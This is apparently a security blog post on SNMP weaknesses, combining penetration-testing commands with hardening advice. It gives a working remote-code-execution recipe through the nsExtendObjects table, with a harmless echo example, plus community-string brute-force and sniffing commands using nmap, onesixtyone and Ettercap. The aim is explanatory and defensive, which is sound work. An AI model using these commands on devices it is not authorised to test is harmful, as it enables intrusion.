SNMP, the Simple Network Management Protocol, which in certain communities is better known as Security Not My Problem, is a protocol to monitor and manage networked devices.
Many devices like modems, routers, servers, printers, IP cameras, UPS devices and even power strips may have SNMP installed by default. Searching Shodan.io for port 161, the port most commonly used by SNMP, returns more than 2 million results.
While some of these hosts are honeypots, keep in mind that the amount of misconfigured SNMP servers in various internal networks might exceed the number reported by Shodan by an order of magnitude.
The quick and dirty
You can get remote code execution on
snmpd if you have access to a read-write community string and if NET-SNMP-EXTEND-MIB is loaded.
apt-get install snmp-mibs-downloader download-mibs # Change SNMP output to be human readable echo "" > /etc/snmp/snmp.conf
Add a command to the nsExtendObjects table:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c <read-write-community-string> \ host-with-snmpd.lan \ 'nsExtendStatus."command"' = createAndGo \ 'nsExtendCommand."command"' = /bin/echo \ 'nsExtendArgs."command"' = 'hello world'
After that, trigger the command with
snmpwalk -v 2c -c <community-string> host-with-snmpd.lan nsExtendObjects
That’s it. Want to know more?
There are two configuration directives, usually in
/etc/snmp/snmpd.conf, called rocommunity and rwcommunity.
- rocommunity - specifies the read-only community string
- rwcommunity - specifies the read-write community string
The SNMP community string is essentially a plaintext password that allows access to a device’s statistics and configuration. That’s why you really should consider them as passwords - make them long, unpredictable and be aware of what service or whom you give them to.
If the community string in an SNMP request is correct, the device responds with the needed information - otherwise, the device simply discards the request and does not answer.
As demonstrated in the RCE example above, You do not want to enable read-write access to your SNMP enabled servers. To be fair, you also don’t want to enable read-only access to unintended recipients, because exposed networking and system information can very often be the leverage needed to compromise your systems.
SNMP read-write access to a Cisco device can:
- shutdown network interfaces
- change DHCP config
- reboot device
- change, remove and add IP routes
- upload device configuration to a TFTP server for further analysis
- reset device passwords
By convention, most SNMPv1-v2c devices ship from the factory with a read-only community string set to
public and read-write community string set to
private. We will look into other common default SNMP community strings in the Gaining Access section.
When configuring SNMP read-only mode close attention should be paid to the configuration of the access control and from which IP addresses SNMP messages are accepted.
UDP IP spoofing is a real threat and can be used to bypass access controls based on whitelisting IP addresses and ranges.
Note: SNMP Community strings are used by devices which support SNMPv1 and SNMPv2c protocol, which is a vast majority of SNMP-enabled devices. SNMPv3 uses username/password authentication, along with an encryption key.
SNMPv3 addresses the problems of using a single community string with the View-based Access Control Model.
With a single community string, it is difficult to identify the requesting party, origin of the request, what subtrees can be accessed and modified etc. While providing a flexible way to configure access controls, the concepts introduced by VACM can be complex and confusing.
A good explanation and some examples can be found on the net-snmp wiki on sourceforge. The following is a
snmpd.conf excerpt just to demonstrate how quickly things can get complicated:
#### # First, map the community name (COMMUNITY) into a security name # (local and mynetwork, depending on where the request is coming # from): # sec.name source community com2sec local localhost secret42 com2sec custom_sec 192.168.1.0/24 public #### # Second, map the security names into group names: # sec.model sec.name group custom_grp v1 custom_sec group custom_grp v2c custom_sec group incremental usm myuser # SNMPv3 username == sec.name #### # Third, create a view for us to let the groups have rights to: # incl/excl subtree mask view all included .1 view custom_v excluded .1 view custom_v included sysUpTime.0 view custom_v included interfaces.ifTable view mini_view excluded .1 80 view mini_view included sysUpTime.0 view if_view excluded .1 80 view if_view included sysUpTime.0 view if_view included ifTable #### # Finally, grant the groups access to their views: # context sec.model sec.level match read write notif access MyRWGroup "" any noauth exact all all none access custom_grp "" any noauth exact cust1_v none none access incremental "" usm noauth exact mini_view none none access incremental "" usm auth exact if_view none none access incremental "" usm priv exact all_view none none
What could possibly go wrong?
From a penetration tester’s point of view, SNMP is a gold mine. There are a couple of reasons for this.
- Security was not a focus at the time SNMP was being developed in the 1980s. The first real effort to make SNMP more secure came with SNMPv3, which was recognised by the IETF in 2004.
SNMPv1 is still the defacto standard in most SNMP implementations.
Most community strings are either set to default by the manufacturer or are never changed. Common examples include
admand so on. Oftentimes you can easily guess one based on the other, eg.
RWadmin. Fuzzdb and metasploit maintain a wordlist for that specific use case.
The SNMP protocol does not have an account lockout facility so a malicious actor can typically employ password-guessing attacks indefinitely without fear of locking out the community string.
SNMP versions before 3 send their information over the network in plaintext. This means that if you get a man-in-the-middle position with arpsoof or similar, you can just sniff sniff the community string. Ettercap has never been more helpful.
Ettercap showing sniffed SNMPv1 community string “public”
Even if the SNMP server is configured to only accept connections from a specific IP address or range, you can spoof the IP address of the SNMP request.
- A lot of information about a specific SNMP implementation can be read from publicly available MIB files. A management information base file is a database used for managing some entities in an hierarchical way - entries are addressed through a numeric object identifier (OID). There are multiple online sources where you can browse different MIBs, such as:
Without write access, an SNMP server can still expose a lot of information about the host, which can be used to further exploit other services. What information SNMP allows access to can vary from device to device, but can include:
- running processes and services
- network interfaces
- routing information
- bandwidth usage
- disk usage
- CPU and memory usage
- device failures
- various device or vendor specific configurations
Nmap to discover snmp servers:
nmap -Pn -sU -sV -p161 <host-or-range>
Nmap NSE scripts:
# ls /usr/share/nmap/scripts/snmp-* snmp-brute.nse snmp-hh3c-logins.nse snmp-info.nse snmp-interfaces.nse snmp-ios-config.nse snmp-netstat.nse snmp-processes.nse snmp-sysdescr.nse snmp-win32-services.nse snmp-win32-shares.nse snmp-win32-software.nse snmp-win32-users.nse #usage: nmap -Pn -sU -p161 --script=snmp-info <host-or-range>
snmpcheck <host> -c public snmp-check -t <host> -c public
Onesixtyone, used to bruteforce community strings:
onesixtyone -c /tmp/wordlist.txt <host>
SNMP bruteforcing with nmap:
nmap -Pn -sU -p161 --script=snmp-brute --script-args snmp-brute.communitiesdb=/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <host>
snmpwalk -v 2c -c <community-string> host-with-snmpd.lan
Set SNMP tools to show OID human readable names instead of numbers:
apt-get install snmp-mibs-downloader download-mibs echo "" > /etc/snmp/snmp.conf
Continuously scan your systems for the UDP port 161. This will make you aware about which of your devices have SNMP enabled.
Disable SNMP if it is not needed. For information on how to do this, refer to the manual of the device.
Use SNMPv3 instead of older versions where possible and confirm that you are using login-based authentication instead of plaintext community strings.
Configure SNMPv3 to use the highest level of security available on the device; this would be authPriv on most devices.
- Treat community strings as passwords.
- Community strings should be at least 20 characters or greater in length.
- Community strings should not be based upon or contain a dictionary word.
- Community strings should be difficult to bruteforce - include numbers, different casing and symbols.
- Public and private community strings should not match, nor should any discernible similarities exist between the two community strings.
Critical devices such as routers, switches and firewalls should not share the same community strings as components of lesser importance such as printers or IP cameras.
Limit access to only the required subtrees.
Limit access to specific IP addresses.
Segregate SNMP traffic onto a separate management network.
Consider IP spoofing attacks - check if your SNMP server allows to be configured to use TCP.
- Disable SNMP write access if it is not needed. I can not stress this enough.
Fact is, SNMP is not going anywhere. It might be difficult to secure your monitoring systems relying on SNMP, but it is something you have to do, unless you want unnecessary risks.
- “The Hidden Threat of SNMP”
- “SNMP Config File Injection to Shell”
- “SNMP Pentesting”
- “SNMP Pwn3ge”
- “Recipes for extending Net-SNMP”
- “Alert (TA17-156A) - Reducing the Risk of SNMP Abuse”
- “SNMP Best Practices”
- “Manpage of SNMPD.CONF - ACCESS CONTROL”
- “View-Based Access Control Model (VACM) - Net-SNMP Wiki”
- “SNMP Research - SNMP RFCs”